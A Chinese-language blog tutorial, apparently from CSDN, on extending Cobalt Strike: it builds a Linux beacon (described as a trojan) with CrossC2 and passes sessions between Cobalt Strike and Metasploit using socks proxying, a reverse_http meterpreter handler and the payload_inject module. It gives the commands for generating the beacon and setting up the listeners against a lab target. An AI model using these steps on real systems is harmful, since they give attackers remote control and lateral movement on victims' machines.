CS\MSF进阶-拓展应用

我会带着你远行 2023-10-11 23:08 30阅读 0赞

## CobaltStrike扩展脚本 ##

扩展脚本简介

扩展是 Cobaltstrike 一个极为重要的模块，它有效地丰富了 Cobaltstrike 的功能。选择菜单栏的 CobaltStrike > Script Manager(脚本管理器) ，点击 Load(加载) ，然后选择要使用的 .cna 扩展文件即可。

![317a5bfb6ac644e18b40f332196618d7.png][]

Unload（卸载）  
Reload（重新加载)

常用扩展脚本插件:梼杌、CrossC2

### CS上线Linux主机 ###

CrossC2

Cross C2 项目是一个可以生成 Linux/Mac OS 的 Cobaltstrike beacon payload 的跨平台项目

\#Linux & MacOS 支持无文件落地从内存中加载执行 动态库 或 可执行文件

\#灵活自定义执行文件的数据返回类型，端口扫描，屏幕截图，键盘记录，口令凭  
证 等用户自定义开发实现更便捷

\#自定义通信协议  
\#支持横向移动  
\#支持从内存加载脚本  
\#支持Android & iPhone

#### CrossC2安装 ####

[Releases · gloxec/CrossC2 · GitHub][Releases _ gloxec_CrossC2 _ GitHub]

**1. 下载工具脚本**

这里使用的是windows系统

![bd4a46e34fcb4922ba8b19dbf75c29ad.png][]

**2. 修改CrossC2.cna配置**  
修改 $CC2\_PATH 路径为下载的 genCrossC2 真实路径（路径使用双斜杠分隔）  
修改 $CC2\_BIN 为使用的 genCrossC2 程序名字

![ebe54ebaff9b4346b38d107b3da8e4e8.png][]

修改key的文件地址![3ff49d4d05c64dc1b3e571591a137dce.png][]

**3. 创建Listener与下载Key**

\#创建Listener监听器 windows/beacon\_https/reverse\_https

![2c5e7c8b1d3c4407b4d06a99ccf4be11.png][]

\#拷贝teamserver目录的 .cobaltstrike.beacon\_keys 文件到本地cs客户端目录

**4. 生成Beacon**

![041d665cca0c494fb2a19971e80e44f8.png][]

beacon\_keys：选择keys所在目录

system:选择Linux

listener：选择刚才生成的payload

![03b9a21bee864b9b9eb80976aa0fe006.png][]

点击Build,日志会出现生成记录，如没有出现以下界面，请重新配置 .cna 文件。

![aabac0809ff64934b9f1b612a281f10b.png][]

5.上传t\_cc2.out 至Kali-linux

6.给t\_cc2.out，提升可执行权限

![eae7f7e23da34336b735a9821566cbc1.png][]

7.运行文件

![497aec982c08493d863f003f99e23e79.png][]

8.上线成功

![99321bc639e946dfbf115fdc068b49d3.png][]

**Cli 生成木马**

> ./genCrossC2.Win.exe Listener-IP Listener-Port .cobaltstrike.beacon\_keys null Linux x64 cc2-test

## CS联动MSF ##

方法一：通过CS内置socks代理将本地MSF带入目标内网执行操作

利用 beacon shell 在目标机器和团队服务器之间建立 socks ， 而后再在本地利用通过 proxychains 之类的工具连到目标内网即可。

1. CS 启动 Socks 代理

靶机：win7

启动代理

![4a6ed18999a94d03a5c47f85332822ef.png][]

2.修改端口

![f05c2adf7c124df8b7e4334ebd2353fd.png][]

也可以在命令行输入：socks 8099

![3fce253ab8df41e7b971f2ce674ec5d5.png][]

3.打开本地虚拟机Kali，编辑此文件，etc/proxychains.conf（文件名会有所不同，按照实际情况操作）

在/etc文件夹下，找到此文件

![cbcf82a8239a4252910c27a1c8c468c9.png][]

![cf25640f0c414d50b5fca6de85b6c339.png][]

> 在最后，输入：socks4 xxx.xxx.xxx.xx 8099
> 
> CS服务端IP 代理端口

![29524db30238480a831bfce14d1122e5.png][]

4. MSF设置代理

代理信息--tunnel--设置代理命令

![164676928c0e4efdb2d834237cba887e.png][]

5.打开MSF，执行全局代理设置命令

![02306ec293e74036897203974586a110.png][]

至此，本地 MSF 所有模块的流量都走 CS 的 socks代理

。。。

方法二：

1. CS 上创建一个 http 的外部监听器（ Foreign HTTP ）

![a8aad9ca14b146e4977b0a4101a01971.png][]

2. MSF 开启监听

use exploit/multi/handler  
set payload windows/meterpreter/reverse\_http  
set lhost （VPS内网ip）  
set lport 8880  
exploit -j \#挂在后台

![1d8ac8c21a1b48df84e1ef2a4cbe28ff.png][]

3.回到 CS 上，在会话处右键，选择 spawn

![3c429938e1f54384a7aaca950950694e.png][]

MSF得到会话

![271a25e4262e49a4a10386c704d46c40.png][]

![f117c28472e94dd593fed2cdd9f5f2a2.png][]

![6df9fd974a874f41840debd6a689ac6e.png][]

## **MSF联动CS** ##

1. 在 CS 开启一个监听（Beacon HTTP）

由于之前已经创建，所以此次省略。

![19fb095815cd4a2dbdd452ec2ff866d3.png][]

2. MSF 已经得到 session 会话

![240257705b2a4932951895b2203cf019.png][]

3.MSF 上执行 payload 注入模块

use exploit/windows/local/payload\_inject  
set payload windows/meterpreter/reverse\_http  
set DisablePayloadHandler true  
set lhost xxxxxxxxxxx \#cobaltstrike监听的ip  
set lport 8086 \#cobaltstrike监听的端口  
set session 2 \#这里是获得的session的id

> DisablePayloadHandler 默认为 false ，即 payload\_inject 模块执行之后会在本地生成一个新的 handler 监听器，由于设置执行的 payload 是去连接Cobaltstrike 的监听器，所以这里我们设置为 true ，让它不再生成新的 handler监听器.

![37a404c3ddb640fba3ca3005c30415c7.png][]

![3e9fcb23ea2444c19456e69669505401.png][]

CS得到新会话

![7fc71ed99a934d979df180cb584f959c.png][]

...

如有问题，欢迎留言

[317a5bfb6ac644e18b40f332196618d7.png]: https://img-blog.csdnimg.cn/317a5bfb6ac644e18b40f332196618d7.png
[Releases _ gloxec_CrossC2 _ GitHub]: https://github.com/gloxec/CrossC2/releases/
[bd4a46e34fcb4922ba8b19dbf75c29ad.png]: https://img-blog.csdnimg.cn/bd4a46e34fcb4922ba8b19dbf75c29ad.png
[ebe54ebaff9b4346b38d107b3da8e4e8.png]: https://img-blog.csdnimg.cn/ebe54ebaff9b4346b38d107b3da8e4e8.png
[3ff49d4d05c64dc1b3e571591a137dce.png]: https://img-blog.csdnimg.cn/3ff49d4d05c64dc1b3e571591a137dce.png
[2c5e7c8b1d3c4407b4d06a99ccf4be11.png]: https://img-blog.csdnimg.cn/2c5e7c8b1d3c4407b4d06a99ccf4be11.png
[041d665cca0c494fb2a19971e80e44f8.png]: https://img-blog.csdnimg.cn/041d665cca0c494fb2a19971e80e44f8.png
[03b9a21bee864b9b9eb80976aa0fe006.png]: https://img-blog.csdnimg.cn/03b9a21bee864b9b9eb80976aa0fe006.png
[aabac0809ff64934b9f1b612a281f10b.png]: https://img-blog.csdnimg.cn/aabac0809ff64934b9f1b612a281f10b.png
[eae7f7e23da34336b735a9821566cbc1.png]: https://img-blog.csdnimg.cn/eae7f7e23da34336b735a9821566cbc1.png
[497aec982c08493d863f003f99e23e79.png]: https://img-blog.csdnimg.cn/497aec982c08493d863f003f99e23e79.png
[99321bc639e946dfbf115fdc068b49d3.png]: https://img-blog.csdnimg.cn/99321bc639e946dfbf115fdc068b49d3.png
[4a6ed18999a94d03a5c47f85332822ef.png]: https://img-blog.csdnimg.cn/4a6ed18999a94d03a5c47f85332822ef.png
[f05c2adf7c124df8b7e4334ebd2353fd.png]: https://img-blog.csdnimg.cn/f05c2adf7c124df8b7e4334ebd2353fd.png
[3fce253ab8df41e7b971f2ce674ec5d5.png]: https://img-blog.csdnimg.cn/3fce253ab8df41e7b971f2ce674ec5d5.png
[cbcf82a8239a4252910c27a1c8c468c9.png]: https://img-blog.csdnimg.cn/cbcf82a8239a4252910c27a1c8c468c9.png
[cf25640f0c414d50b5fca6de85b6c339.png]: https://img-blog.csdnimg.cn/cf25640f0c414d50b5fca6de85b6c339.png
[29524db30238480a831bfce14d1122e5.png]: https://img-blog.csdnimg.cn/29524db30238480a831bfce14d1122e5.png
[164676928c0e4efdb2d834237cba887e.png]: https://img-blog.csdnimg.cn/164676928c0e4efdb2d834237cba887e.png
[02306ec293e74036897203974586a110.png]: https://img-blog.csdnimg.cn/02306ec293e74036897203974586a110.png
[a8aad9ca14b146e4977b0a4101a01971.png]: https://img-blog.csdnimg.cn/a8aad9ca14b146e4977b0a4101a01971.png
[1d8ac8c21a1b48df84e1ef2a4cbe28ff.png]: https://img-blog.csdnimg.cn/1d8ac8c21a1b48df84e1ef2a4cbe28ff.png
[3c429938e1f54384a7aaca950950694e.png]: https://img-blog.csdnimg.cn/3c429938e1f54384a7aaca950950694e.png
[271a25e4262e49a4a10386c704d46c40.png]: https://img-blog.csdnimg.cn/271a25e4262e49a4a10386c704d46c40.png
[f117c28472e94dd593fed2cdd9f5f2a2.png]: https://img-blog.csdnimg.cn/f117c28472e94dd593fed2cdd9f5f2a2.png
[6df9fd974a874f41840debd6a689ac6e.png]: https://img-blog.csdnimg.cn/6df9fd974a874f41840debd6a689ac6e.png
[19fb095815cd4a2dbdd452ec2ff866d3.png]: https://img-blog.csdnimg.cn/19fb095815cd4a2dbdd452ec2ff866d3.png
[240257705b2a4932951895b2203cf019.png]: https://img-blog.csdnimg.cn/240257705b2a4932951895b2203cf019.png
[37a404c3ddb640fba3ca3005c30415c7.png]: https://img-blog.csdnimg.cn/37a404c3ddb640fba3ca3005c30415c7.png
[3e9fcb23ea2444c19456e69669505401.png]: https://img-blog.csdnimg.cn/3e9fcb23ea2444c19456e69669505401.png
[7fc71ed99a934d979df180cb584f959c.png]: https://img-blog.csdnimg.cn/7fc71ed99a934d979df180cb584f959c.png